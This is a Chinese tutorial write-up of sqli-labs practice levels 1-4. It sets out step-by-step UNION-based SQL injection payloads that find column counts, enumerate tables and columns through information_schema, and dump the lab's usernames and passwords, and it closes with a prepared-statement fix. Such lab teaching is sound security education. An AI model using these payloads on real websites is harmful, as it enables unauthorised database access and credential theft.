SQL-lab靶场less1-4
说明:部分内容来源于网络,如有侵权联系删除
前情提要:搭建sql-lab本地靶场的时候发现一些致命的报错:
这个程序只能在php 5.x上运行,在php 7及更高版本上,函数“mysql_query”和一些相关函数被删除,而不是“mysqli_query”。某些函数中的“MySQL”被替换为“MySQLi
其中一个原因就是旧版的靶场PHP环境是5.0版本的,而目前小皮面板更新到了8.0版本,配套的PHP环境是7.0。那么解决思路就两种,1:给sql-lab的PHP升级;2:小皮面板改成5.0版本的PHP环境。这里选择第一种解决方案
参考博客:
关于搭建SqliLabs中遇到的问题-CSDN博客
phpstudy v8.1在php7以上版本安装sqli-labs相关配置过程-CSDN博客
数据库结构简单小结:
mysql数据库5.0以上版本有一个自带的数据库叫做information_schema
该数据库下面有两个表一个是tables和columns
tables这个表的table_name字段下面是所有数据库存在的表名
table_schema字段下是所有表名对应的数据库名
columns这个表的colum_name字段下是所有数据库存在的字段名
columns_schema字段下是所有表名对应的数据库
常见语句记忆:
information_schema | 表示所有信息,包括库、表、列 |
information_schema.tables | 记录所有表名信息的表 |
information_schema.columns | 记录所有列名信息的表 |
table_schema | 数据库的名称 |
table_name | 表名 |
column_name | 列名 |
group_concat() | 显示所有查询到的数据 |
Less-1 **Error Based- String** 基于字符串的报错注入
根据页面显示,提示我们搭配id传一个值
Please input the ID as parameter with numeric value
输入?id=1 回显
输入?id=2时,页面内容改变
说明这个网站应该会通过id参数进行数据库查询,也就是说id只是一个将1传入数据库的”媒介“,数据库真正需要处理的是1。
那么数据库能够处理的究竟是字符串1还是整数1,这是一个有待验证的问题。测试:?id=1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
报错警告我们语法有问题
双引号不报错,那就是单引号的存在使原本SQL语句包裹id=1的单引号没有闭合,破坏了查询语句结构。还知道了一点:错误出现在第1行的末尾,即在“1”LIMIT 0,1'附近。相当于提示我们原有的SQL语句的组成,可以推测一下:
SELECT * FROM users WHERE () LIMIT 0,1;
WHERE子句:WHERE子句用于过滤记录,必须在其后面提供一个条件表达式。例如,WHERE id = 1。
LIMIT子句:LIMIT 1表示只返回结果集中的第一行数据。
使用注释符,测试:?id=1' --+ 。没有发生报错,正是因为注释了后面的LIMIT 0,1;
知道了基本注入方式,就可以通过其他操作符得到我想要的信息了
1,order by查询当前数据表有多少列 ?id=1 ' order by 1,2,3 --+
正常回显没有报错
2,增加猜测列数:?id=1 'order by 1,2,3,4 --+
Unknown column '4' in 'order clause'
发生报错,第4列不存在,但是第3列能正常回显,说明数据表有三列
接下来就需要判断回显点(回显点是指SQL查询结果显示在页面上的位置,有回显点的SQL注入叫做回显点注入。通过回显点,攻击者可以观察到SQL查询的结果,从而推断出数据库的结构和内容),而很明显该靶场存在两个回显点。那么还要分别表格哪一列在页面显示的
?id=-1'union select 1,2,3--+
- ?id=-1:这部分看起来像是试图将一个查询参数设置为 -1,这通常是SQL注入攻击中的一种常见技巧,用于绕过原始查询的条件。
- 'union select 1,2,3--+:这部分是典型的联合查询语法。union 关键字用于合并两个或多个 SELECT 语句的结果集。select 1,2,3 是一个简单的示例查询,它选择常数列 1, 2, 和 3
语句要求回显1,2,3列,结果回显了2,3。说明第二列和第三列的数据是回显点。
通过函数查询数据库名和版本号:
?id=-1'union select 1,database(),version()--+
通过group_concat()函数爆出表名
GROUP_CONCAT() 是 MySQL 中的一个聚合函数,用于将分组中的字符串值连接成一个单一的字符串
GROUP_CONCAT([DISTINCT] expr [ORDER BY {unsigned_integer | col_name | expr} [ASC | DESC] [, ...]] [SEPARATOR str_val])
- DISTINCT:可选参数,用于去除结果中的重复值。
- expr:要连接的列或表达式。
- ORDER BY:可选参数,用于指定连接顺序。
- SEPARATOR:可选参数,用于指定连接字符串之间的分隔符,默认为逗号 ,
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
- group_concat(table_name) 将查询到的 information_schema.tables 表中的 table_name 字段的值进行连接。这里的 information_schema 是MySQL自带的信息数据库,其中的 tables 表存储了数据库的库名以及各个数据库中的表名
- 整个语句将筛选出名为 security 的数据库中的所有表名
结果:emails,referers,uagents,users
爆破字段名:
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
- information_schema.columns 表,这个表存储了数据库中各个表的列信息
爆破结果:CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
可以看到成功爆出来username,password字段
爆破出username,password的数据:
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
源码:SELECT * FROM users WHERE id='$id' LIMIT 0,1
Less-2 **Error Based- Intiger** 基于整数的报错注入
1,还是搭配id传一个值
由此确定页面正常回显的的标志,再判断整数还是字符串型注入:?id=1'
看到报错,再加双引号测试:?id=1"
仍然报错,说明原本的查询语句没有单双引号闭合,处理参数1数值类型是整数,是整数型注入
2,order by操作符判断数据表有几列:?id=1 order by 1,2,3 --+
?id=1 order by 1,2,3,4 --+
可以判断出该时间表有3列
3,接下来通过union判断回显点,?id=-1 union select 1,2,3 --+
由此得知回显点仅存在于查询的第2,3列上
4,使用操作符和函数爆出数据库名:
?id=-1 union select 1,2,database()--+
数据库名:security,group_concat()函数security所有数据表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆出users数据表所有的列名:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
最后就可以输出username,password信息了:
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
YourLogin :name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
源码分析:SELECT * FROM users WHERE id=$id LIMIT 0,1
- 构造了一个SQL查询语句SELECT * FROM users WHERE id=$id LIMIT 0,1;,用于从users表中根据id查询一条记录。
- 使用mysqli_query执行查询,并将结果存储在$result中
查询语句和less1其实差不多,少了单引号对id的闭合包裹
WHERE id=-1: 这是一个条件子句,指定了只有当ID列的值等于-1时,对应的记录才会被选中。原数据表根本没有id=-1的序列,所以后续攻击语句都是?id=-1作为开头
SQL中的ID概念
在SQL(Structured Query Language)中,ID通常指的是数据库表中的一个特殊类型的列,用于唯一标识表中的每一行记录。这种列也被称为主键(Primary Key)。主键的主要目的是确保表中的每一行都可以被唯一地识别和访问。在设计数据库时,选择一个合适的ID字段对于数据的管理和检索至关重要3。
ID的特性
ID字段通常具有以下特性:
- 唯一性:每个ID值必须是唯一的,以确保每行记录都能被准确无误地找到。
- 不可变性:一旦分配给某一行,ID值不应该改变,因为这可能会导致与其他依赖于该ID的数据库操作产生冲突。
- 顺序性:虽然不是必需的,但在某些情况下,ID值可能是按某种顺序(如递增)分配的,这有助于维护数据的时间顺序或逻辑顺序。
ID的常见用途
ID字段在数据库操作中有着广泛的应用,包括但不限于:
- 关联数据:通过ID,可以在不同的表之间建立关系,实现数据的关联查询。例如,一个订单表可能有一个产品ID字段,用于关联到产品表中的具体产品记录。
- 数据检索:可以通过ID快速定位和检索特定的记录。例如,SELECT * FROM users WHERE id = 1 这样的SQL语句可以用来获取ID为1的用户信息。
- 更新和删除:ID也是更新或删除特定记录时的关键依据。例如,DELETE FROM users WHERE id = 1 可以用来删除ID为1的用户记录。
自动增长ID
在许多现代数据库系统中,支持为ID字段设置自动增长属性。这意味着每当新记录插入到表中时,数据库会自动为该记录分配一个新的、唯一的ID值。这通常通过数据库内部的计数器机制实现。例如,在MySQL中,可以使用AUTO_INCREMENT关键字来定义自动增长的ID字段6。
Less-3 Error Based- String (with Twist)基于字符串的报错注入(转义)
1,第一步还是判断什么类型的注入:?id=1
能够正常回显,再测试:?id=1' 产生报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
再测试:?id=1" 能够正常回显。说明单引号会破坏查询语句原有单引号的闭合结构,可以断定这是一个字符型注入
2,order by判断当前数据表的列数:?id=1') order by 1,2,3--+
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 1,2,3-- ') LIMIT 0,1' at line 1
还是发生了报错,通过报错信息我们知道了真正的闭合方式是')。修改payload:
?id=1') order by 1,2,3--+ 正常回显
依次递归判断:?id=1') order by 1,2,3,4--+
报错说不存在第4列,那么数据表就只有3列
3,union操作符判断注入点:?id=-1') union select 1,2,3--+
回显还是2,3列
4,爆破数据库名:?id=-1') union select 1,2,database()--+
Your Password:security
配合group_concat()函数爆破出当前数据库所有数据表名:
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database()--+
查看users数据表里面的所有列名:
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
最后再爆出用户名和密码:
?id=-1') union select 1,group_concat(username),group_concat(password) from users--+
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
源码分析:SELECT * FROM users WHERE id=('$id') LIMIT 0,1
其实和less1的查询语句是一样的,只不过多了括号闭合
Less-4 Error Based- DoubleQuotes String
基于双引号的报错注入
1,id传一个值判断注入类型:?id=1'
正常回显页面,再拼接双引号传入一个值:?id=1"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
发生报错,说明双引号会破坏原有查询语句的结构,由此判断注入类型是双引号,而参数又需要使用引号包裹,所以是字符串类型。还有一点,根据报错提示,推断正确的闭合方式应该是:("")
2,order by判断有该数据表有多少列,先猜测三列
?id=1") order by 1,2,3--+
回显是正常的,证明至少有三列,再判断是否有四列:?id=1") order by 1,2,3,4--+
发生报错,推断数据表只有3列
3,union判断回显点:?id=-1") union select 1,2,3--+
只会回显点是2,3列
4,爆破数据库名:?id=-1") union select 1,2,database()--+
爆破出数据表名:?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆破users表所有列名:?id=1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and
table_schema=database()--+
再爆破出所有的用户名和密码:?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
select * from user where id=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
select * from user where id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
输出结果的区别
查询目的:这两个SQL查询的目的是利用SQL注入技术来获取数据库中users表的列名信息。
查询结构:两个查询都使用了UNION操作符来合并两个SELECT语句的结果集。第一个查询的条件是id=1,而第二个查询的条件是id=-1。
输出结果的区别
- 第一个查询 (id=1):
- 如果user表中存在id=1的记录,那么查询会首先返回该记录。
- 然后,UNION操作符会将第二个SELECT语句的结果(即从information_schema.columns 表中获取的列名信息)追加到结果集中。
- 最终输出结果将包含user表中id=1的记录以及users表的列名信息。
- 第二个查询 (id=-1):
- 由于user表中通常不会有id=-1的记录,第一个SELECT语句将不会返回任何记录。
- 因此,UNION操作符的结果将仅包含第二个SELECT语句的结果,即users表的列名信息。
- 最终输出结果将只包含users表的列名信息。
分析源码:
$id = '"' . $id . '"';
这行代码的作用是将 $id 变量的值用双引号包裹起来。例如,如果 $id 的值是 123,那么执行这行代码后,$id 的值将变为 "123"
"SELECT * FROM users WHERE id=($id) LIMIT 0,1";
本质上less1,2,3,4的查询语句是一样的,无非是对传入参数的闭合拼接方式不同
改进建议:
- 使用预处理语句: 为了防止SQL注入,建议使用预处理语句(Prepared Statements)。例如:
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ? LIMIT 0,1');
$stmt->execute([$id]); - 简化字符串操作: 如果确实需要将 $id 用双引号包裹起来,可以考虑在SQL查询中直接使用双引号,而不是在PHP代码中进行字符串拼接。例如:
$sql = "SELECT * FROM users WHERE id=\"$id\" LIMIT 0,1";
相关文章:
SQL-lab靶场less1-4
说明:部分内容来源于网络,如有侵权联系删除 前情提要:搭建sql-lab本地靶场的时候发现一些致命的报错: 这个程序只能在php 5.x上运行,在php 7及更高版本上,函数“mysql_query”和一些相关函数被删除…...
【生成模型之二】diffusion model模型
【算法简历修改、职业规划、校招实习咨询请私信联系】 【Latent-Diffusion 代码】 生成模型分类概述 Diffusion Model,这一深度生成模型,源自物理学中的扩散现象,呈现出令人瞩目的创新性。与传统的生成模型,如VAE、GAN相比&…...
记录 Maven 版本覆盖 Bug 的解决过程
背景 在使用 Maven 进行项目管理时,依赖版本的管理是一个常见且重要的环节。最近,在我的项目中遇到了一个关于依赖版本覆盖的 Bug,这个问题导致了 Apollo 框架的版本不一致,影响了项目的正常运行。以下是我解决这个问题的过程记录…...
【K8S系列】Kubernetes Service 基础知识 详细介绍
在 Kubernetes 中,Service 是一种抽象的资源,用于定义一组 Pod 的访问策略。它为这些 Pod 提供了一个稳定的访问入口,解决了 Pod 可能频繁变化的问题。本文将详细介绍 Kubernetes Service 的类型、功能、使用场景、DNS 和负载均衡等方面。 1.…...
python在物联网领域的数据应用分析与实战!
引言 物联网(IoT)是一个快速发展的领域,涉及到各种设备和传感器的连接与数据交换。随着设备数量的激增,数据的产生速度也在不断加快。 如何有效地分析和利用这些数据,成为了物联网应用成功的关键。Python作为一种强大的编程语言,因其简洁易用的特性和丰富的库支持,成为…...
目标跟踪算法-卡尔曼滤波详解
卡尔曼滤波是一种递归的优化算法,用于估计一个系统的动态状态,常用于跟踪、导航、时间序列分析等领域。它的关键在于使用一系列测量数据(通常含噪声)来估计系统的真实状态,使得估计值更接近实际情况。卡尔曼滤波器适合…...
SpringBoot后端开发常用工具详细介绍——application多环境配置与切换
文章目录 引言介绍application.yml(主配置文件)application-dev.yml(开发环境配置)application-test.yml(测试环境配置)application-prod.yml(生产环境配置)激活配置文件参考内容 引…...
php反序列化漏洞典型例题
1.靶场环境 ctfhub-技能树-pklovecloud 引用题目: 2021-第五空间智能安全大赛-Web-pklovecloud 2.过程 2.1源代码 启动靶场环境,访问靶场环境,显示源码:直接贴在下面: <?php include flag.php; class pks…...
浅析Android View绘制过程中的Surface
前言 在《浅析Android中View的测量布局流程》中我们对VSYNC信号到达App进程之后开启的View布局过程进行了分析,经过对整个App界面的View树进行遍历完成了测量和布局,确定了View的大小以及在屏幕中所处的位置。但是,如果想让用户在屏幕上看到…...
基于卷积神经网络的大豆种子缺陷识别系统,resnet50,mobilenet模型【pytorch框架+python源码】
更多目标检测和图像分类识别项目可看我主页其他文章 功能演示: 大豆种子缺陷识别系统,卷积神经网络,resnet50,mobilenet【pytorch框架,python源码】_哔哩哔哩_bilibili (一)简介 基于卷积神…...
HarmonyOS项目开发一多简介
目录 一、布局能力概述 二、自适应布局 三、响应式布局 四、典型布局场景 一、布局能力概述 布局决定页面元素排布及显示:在页面设计及开发中,布局能力至关重要,主要通过组件结构来确定使用何种布局。 自适应布局与响应式布局࿱…...
C++基础三
构造函数 构造函数(初始化类成员变量): 1、属于类的成员函数之一 2、构造函数没有返回类型 3、构造函数的函数名必须与类名相同 4、构造函数不允许手动调用(不能通过类对象调用) 5、构造函数在类对象创建时会被自动调用 6、如果没有显示声…...
利用ChatGPT完成2024年MathorCup大数据挑战赛-赛道A初赛:台风预测与分析
利用ChatGPT完成2024年MathorCup大数据挑战赛-赛道A初赛:台风预测与分析 引言 在2024年MathorCup大数据挑战赛中,赛道A聚焦于气象数据分析,特别是台风的生成、路径预测、和降水风速特性等内容。本次比赛的任务主要是建立一个分类评价模型&…...
Linux系统操作篇 one -文件指令及文件知识铺垫
Linux操作系统入门-系统篇 前言 Linux操作系统与Windows和MacOS这些系统不同,Linux是黑屏的操作系统,操作方式使用的是指令和代码行来进行,因此相对于Windows和MacOS这些带有图形化界面的系统,Linux的入门门槛和上手程度要更高&…...
隨筆20241028 ISR 的收缩与扩展及其机制解析
在 Kafka 中,ISR(In-Sync Replicas) 是一组副本,它们与 Leader 保持同步,确保数据一致性。然而,ISR 的大小会因多种因素而变化,包括收缩和扩展。以下是 ISR 收缩与扩展的详细解释及其背后的机制…...
linux-字符串相关命令
1、cut 提取文件每一行中的内容 下面是一些常用的 cut 命令选项的说明: -c, --characters列表:提取指定字符位置的数据。-d, --delimiter分界符:指定字段的分隔符,默认为制表符。-f, --fieldsLIST:提取指定字段的数据…...
ES6 函数的扩展
ES6 之前,不能直接为函数的参数指定默认值,只能采用变通的方法 ES6 允许为函数的参数设置默认值,即直接写在参数定义的后面 参数变量是默认声明的,所以不能用 let 或 const 再次声明 使用参数默认值时,函数不能有同名参…...
Mac 查看占用特定端口、终止占用端口的进程
在 macOS 上,可以使用以下命令来查看占用特定端口(例如 8080)的进程: lsof -i :8080命令说明 lsof:列出打开的文件和网络连接信息。-i :8080:筛选出正在监听 8080 端口的进程。 输出结果结构 执行上述命…...
C#入坑JAVA MyBatis入门 CURD 批量 联表分页查询
本文,分享 MyBatis 各种常用操作,不限于链表查询、分页查询等等。 1. 分页查询 在 下文的 的「3.4 selectPage」小节,我们使用 MyBatis Plus 实现了分页查询。除了这种方式,我们也可以使用 XML 实现分页查询。 这里,…...
RabbitMQ 安装(Windows版本)和使用
安装 安装包获取 可以自己找资源,我这里也有百度云的资源,如果没失效的话可以直接用。 通过百度网盘分享的文件:RabbitMQ 链接:https://pan.baidu.com/s/1rzcdeTIYQ4BqzHLDSwCgyw?pwdfj79 提取码:fj79 安装教程…...
Apache paimon表管理
表管理 2.9.4.1 管理快照 1)快照过期 Paimon Writer每次提交都会生成一个或两个快照。每个快照可能会添加一些新的数据文件或将一些旧的数据文件标记为已删除。然而,标记的数据文件并没有真正被删除,因为Paimon还支持时间旅行到更早的快照。它们仅在快照过期时被删除。 …...
java 第19天
一.Lambda表达式 前提是:参数是函数式接口才可以书写Lambda表达式 函数式接口条件: 1.接口 2.只有一个抽象方法 lambda表达式又称为匿名函数,允许匿名函数以参数的形式传入方法,简化代码 lambda表达式分为两部分()->{} …...
什么是服务器?服务器与客户端的关系?本地方访问不了网址与服务器访问不了是什么意思?有何区别
服务器是一种高性能的计算机,它通过网络为其他计算机(称为客户端)提供服务。这些服务可以包括文件存储、打印服务、数据库服务或运行应用程序等。服务器通常具有强大的处理器、大量的内存和大容量的存储空间,以便能够处理多个客户…...
Spring(1)—Spring 框架:Java 开发者的春天
一、关于Spring 1.1 简介 Spring 框架是一个功能强大的开源框架,主要用于简化 Java 企业级应用的开发,由被称为“Spring 之父”的 Rod Johnson 于 2002 年提出并创立,并由Pivotal团队维护。它提供了全面的基础设施支持,使开发者…...
MT1401-MT1410 码题集 (c 语言详解)
目录 MT1401归并排序 MT1402堆排序 MT1403后3位排序 MT1404小大大小排序 MT1405小大大小排序II MT1406数字重排 MT1407插入 MT1408插入 MT1409旋转数组 MT1410逆时针旋转数组 MT1401归并排序 c 语言实现代码 #include <stdio.h>// merge two subarrays void merge(int a…...
React基础语法
1.React介绍 React由Meta公司开发,是一个用于构建Web和原生交互界面的库 1.1 React优势 相较于传统基于DOM开发的优势 1.组件化的开发方式 2.不错的性能 相较于其他前端框架的优势 1.丰富的生态 2.跨平台支持 1.2React的时长情况 全球最流行,大厂…...
《Kadane‘s Algorithm专题:最大和连续子数组》
🚀 博主介绍:大家好,我是无休居士!一枚任职于一线Top3互联网大厂的Java开发工程师! 🚀 🌟 在这里,你将找到通往Java技术大门的钥匙。作为一个爱敲代码技术人,我不仅热衷…...
Vue基础(5)
ref属性 在 Vue2 中,ref是一个特殊的属性,用于在模板中获取对某个 DOM 元素或子组件的引用。通过 ref,我们可以在 JavaScript 代码中直接访问该 DOM 元素或组件实例。 示例: <template><div><input ref"inputField&quo…...
面对复杂的软件需求:5大关键策略!
面对软件需求来源和场景的复杂性,有效地管理和处理需求资料是确保项目成功的关键,能够提高需求理解的准确性,增强团队协作和沟通,降低项目风险,提高开发效率。反之,项目可能面临需求理解不准确、团队沟通不…...
使用Git进行版本控制的最佳实践
文章目录 Git简介基本概念仓库(Repository)提交(Commit)分支(Branching) 常用命令初始化仓库添加文件提交修改查看状态克隆仓库分支操作合并分支推送更改 最佳实践使用有意义的提交信息定期推送至远程仓库使…...
做古建的那些网站比较适合/关键词整站优化
原文链接:http://www.360doc.com/content/17/1231/22/9200790_718001949.shtml 转载于:https://www.cnblogs.com/ys-01/p/11490069.html...
wordpress页面调用文章列表/如何将网站的关键词排名优化
dmesg 时间戳转换The dmesg results from newer Linux kernels show the timestamps. It seems the time in seconds since the kernel start time.较新的Linux内核的dmesg结果显示了时间戳。 从内核启动时间开始 ,似乎是秒数。 How to convert the dmesg timestam…...
汕头哪里做网站/网站seo哪家做的好
计算机中级教案计算机基础知识第一部分 WINDOWS操作系统第部分商务办公软件第三部分打印机及扫描仪使用2788第一部分W| NDOWS操作系统第一节五笔输入法第二节 WINDOWS基础操作第二部分商务办公软件前言: OFFICE常识第一节WORD2003第二节 EXCEL2003第三节 POWERPOINT第四节 WPS …...
wordpress more-link/沈阳高端关键词优化
在WinForm中发送HTTP请求的实现方法如何在WinForm中请求发送HTTP手工发送HTTP请求主要是调用 System.Net的HttpWebResponse方法手工发送HTTP的GET请求:string strURL "http://localhost/Play/CH1/Service1.asmx/doSearch?keyword";strURL this.textBox1…...
专业的网站开发服务/知乎推广渠道
相信大家都玩过微信H5游戏,例如前几年的围住神经猫,也曾收到过好友分享来的H5游戏链接,因为好奇点进去一探究竟。现在,越来越多的商家开始将H5游戏运用的品牌营销上来,H5游戏营销也受到了重视,那么…...
自己创建网站/佛山seo
2019独角兽企业重金招聘Python工程师标准>>> 首先,Javascript里都是对象,需要有一种机制将对象关联起来,这里就有了继承 java中,我们可以用new来生成一个对象的实例,可是js中是没有类的,于是js的…...